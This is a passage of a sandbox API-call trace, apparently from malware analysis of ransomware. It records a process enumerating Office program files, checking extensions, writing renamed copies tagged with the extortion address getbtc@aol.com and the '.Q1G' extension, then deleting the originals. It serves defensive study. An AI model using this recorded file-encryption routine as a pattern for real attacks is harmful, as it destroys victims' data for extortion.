(lpString=".pdf") returned 4 [0253.648] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0253.648] lstrlenW (lpString=".xls") returned 4 [0253.648] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0253.648] lstrlenW (lpString=".xlsx") returned 5 [0253.648] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0253.649] lstrlenW (lpString=".ppt") returned 4 [0253.649] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0253.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.649] lstrlenW (lpString=".zip") returned 4 [0253.649] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0253.649] lstrlenW (lpString=".rar") returned 4 [0253.649] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0253.649] lstrlenW (lpString=".bz2") returned 4 [0253.649] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0253.649] lstrlenW (lpString=".7z") returned 3 [0253.649] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0253.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.649] lstrlenW (lpString=".dbf") returned 4 [0253.649] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0253.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.649] lstrlenW (lpString=".1cd") returned 4 [0253.649] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0253.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".jpg") returned 4 [0253.650] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".doc") returned 4 [0253.650] lstrcmpiW (lpString1=".doc", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString=".docx") returned 5 [0253.650] lstrcmpiW (lpString1=".docx", lpString2="E.VRD") returned -1 [0253.650] lstrlenW (lpString=".pdf") returned 4 [0253.650] lstrcmpiW (lpString1=".pdf", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString=".xls") returned 4 [0253.650] lstrcmpiW (lpString1=".xls", lpString2=".VRD") returned 1 [0253.650] lstrlenW (lpString=".xlsx") returned 5 [0253.650] lstrcmpiW (lpString1=".xlsx", lpString2="E.VRD") returned -1 [0253.650] lstrlenW (lpString=".ppt") returned 4 [0253.650] lstrcmpiW (lpString1=".ppt", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".zip") returned 4 [0253.650] lstrcmpiW (lpString1=".zip", lpString2=".VRD") returned 1 [0253.650] lstrlenW (lpString=".rar") returned 4 [0253.650] lstrcmpiW (lpString1=".rar", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString=".bz2") returned 4 [0253.650] lstrcmpiW (lpString1=".bz2", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString=".7z") returned 3 [0253.650] lstrcmpiW (lpString1=".7z", lpString2="VRD") returned -1 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".dbf") returned 4 [0253.650] lstrcmpiW (lpString1=".dbf", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".1cd") returned 4 [0253.650] lstrcmpiW (lpString1=".1cd", lpString2=".VRD") returned -1 [0253.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PIPELINE.VRD") returned 60 [0253.650] lstrlenW (lpString=".jpg") returned 4 [0253.650] lstrcmpiW (lpString1=".jpg", lpString2=".VRD") returned -1 [0253.651] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.651] lstrlenW (lpString="PPINTL.DLL") returned 10 [0253.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.653] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=1284456) returned 1 [0253.653] CloseHandle (hObject=0x394) returned 1 [0253.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll")) returned 0x20 [0253.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.673] lstrlenW (lpString=".doc") returned 4 [0253.673] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString=".docx") returned 5 [0253.673] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.673] lstrlenW (lpString=".pdf") returned 4 [0253.673] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString=".xls") returned 4 [0253.673] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString=".xlsx") returned 5 [0253.673] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.673] lstrlenW (lpString=".ppt") returned 4 [0253.673] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.673] lstrlenW (lpString=".zip") returned 4 [0253.673] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString=".rar") returned 4 [0253.673] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.673] lstrlenW (lpString=".bz2") returned 4 [0253.674] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.674] lstrlenW (lpString=".7z") returned 3 [0253.674] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".dbf") returned 4 [0253.674] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".1cd") returned 4 [0253.674] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".jpg") returned 4 [0253.674] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".doc") returned 4 [0253.674] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString=".docx") returned 5 [0253.674] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.674] lstrlenW (lpString=".pdf") returned 4 [0253.674] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString=".xls") returned 4 [0253.674] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString=".xlsx") returned 5 [0253.674] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.674] lstrlenW (lpString=".ppt") returned 4 [0253.674] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".zip") returned 4 [0253.674] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString=".rar") returned 4 [0253.674] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.674] lstrlenW (lpString=".bz2") returned 4 [0253.674] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.674] lstrlenW (lpString=".7z") returned 3 [0253.674] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.674] lstrlenW (lpString=".dbf") returned 4 [0253.675] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.675] lstrlenW (lpString=".1cd") returned 4 [0253.675] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL") returned 58 [0253.675] lstrlenW (lpString=".jpg") returned 4 [0253.675] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.675] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0253.675] lstrlenW (lpString="PPINTL.DLL.IDX_DLL") returned 18 [0253.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.675] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=38272) returned 1 [0253.675] CloseHandle (hObject=0x394) returned 1 [0253.675] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 0x20 [0253.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0253.676] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.676] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0253.676] GetLastError () returned 0x0 [0253.679] ReadFile (in: hFile=0x394, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x9580, lpOverlapped=0x0) returned 1 [0253.709] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x9590, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0x9590, lpOverlapped=0x0) returned 1 [0253.711] ReadFile (in: hFile=0x394, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.711] WriteFile (in: hFile=0x324, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x305fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x305fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0253.711] SetEndOfFile (hFile=0x324) returned 1 [0253.711] CloseHandle (hObject=0x324) returned 1 [0253.711] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.711] SetEndOfFile (hFile=0x394) returned 1 [0253.714] CloseHandle (hObject=0x394) returned 1 [0253.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ppintl.dll.idx_dll")) returned 1 [0253.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.779] lstrlenW (lpString=".doc") returned 4 [0253.779] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.779] lstrlenW (lpString=".docx") returned 5 [0253.779] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.779] lstrlenW (lpString=".pdf") returned 4 [0253.779] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.779] lstrlenW (lpString=".xls") returned 4 [0253.779] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.779] lstrlenW (lpString=".xlsx") returned 5 [0253.779] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.780] lstrlenW (lpString=".ppt") returned 4 [0253.780] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".zip") returned 4 [0253.780] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".rar") returned 4 [0253.780] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".bz2") returned 4 [0253.780] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".7z") returned 3 [0253.780] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".dbf") returned 4 [0253.780] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".1cd") returned 4 [0253.780] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".jpg") returned 4 [0253.780] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".doc") returned 4 [0253.780] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".docx") returned 5 [0253.780] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0253.780] lstrlenW (lpString=".pdf") returned 4 [0253.780] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".xls") returned 4 [0253.780] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString=".xlsx") returned 5 [0253.780] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0253.780] lstrlenW (lpString=".ppt") returned 4 [0253.780] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0253.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.780] lstrlenW (lpString=".zip") returned 4 [0253.781] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0253.781] lstrlenW (lpString=".rar") returned 4 [0253.781] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0253.781] lstrlenW (lpString=".bz2") returned 4 [0253.781] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0253.781] lstrlenW (lpString=".7z") returned 3 [0253.781] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.781] lstrlenW (lpString=".dbf") returned 4 [0253.781] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0253.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.781] lstrlenW (lpString=".1cd") returned 4 [0253.781] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0253.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PPINTL.DLL.IDX_DLL") returned 66 [0253.781] lstrlenW (lpString=".jpg") returned 4 [0253.781] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0253.781] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.781] lstrlenW (lpString="PUBWZINT.DLL") returned 12 [0253.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0253.795] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=171368) returned 1 [0253.795] CloseHandle (hObject=0x1fc) returned 1 [0253.795] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll")) returned 0x20 [0253.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.927] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubwzint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.928] lstrlenW (lpString=".doc") returned 4 [0253.928] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString=".docx") returned 5 [0253.928] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0253.928] lstrlenW (lpString=".pdf") returned 4 [0253.928] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString=".xls") returned 4 [0253.928] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString=".xlsx") returned 5 [0253.928] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0253.928] lstrlenW (lpString=".ppt") returned 4 [0253.928] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.928] lstrlenW (lpString=".zip") returned 4 [0253.928] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString=".rar") returned 4 [0253.928] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.928] lstrlenW (lpString=".bz2") returned 4 [0253.929] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.929] lstrlenW (lpString=".7z") returned 3 [0253.929] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString=".dbf") returned 4 [0253.929] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString=".1cd") returned 4 [0253.929] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString=".jpg") returned 4 [0253.929] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString=".doc") returned 4 [0253.929] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString=".docx") returned 5 [0253.929] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0253.929] lstrlenW (lpString=".pdf") returned 4 [0253.929] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString=".xls") returned 4 [0253.929] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString=".xlsx") returned 5 [0253.929] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0253.929] lstrlenW (lpString=".ppt") returned 4 [0253.929] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.929] lstrlenW (lpString=".zip") returned 4 [0253.929] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString=".rar") returned 4 [0253.929] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.929] lstrlenW (lpString=".bz2") returned 4 [0253.929] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.929] lstrlenW (lpString=".7z") returned 3 [0253.929] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.930] lstrlenW (lpString=".dbf") returned 4 [0253.930] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.930] lstrlenW (lpString=".1cd") returned 4 [0253.930] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBWZINT.DLL") returned 60 [0253.930] lstrlenW (lpString=".jpg") returned 4 [0253.930] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.930] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0253.930] lstrlenW (lpString="SETLANG.HXS") returned 11 [0253.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.034] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x305ff1c | out: lpFileSize=0x305ff1c*=397828) returned 1 [0254.034] CloseHandle (hObject=0x1fc) returned 1 [0254.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs")) returned 0x20 [0254.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0254.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.039] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x305fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.039] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang.hxs.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0254.040] GetLastError () returned 0x0 [0254.040] ReadFile (in: hFile=0x390, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x305fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x305fed4*=0x61204, lpOverlapped=0x0) returned 1 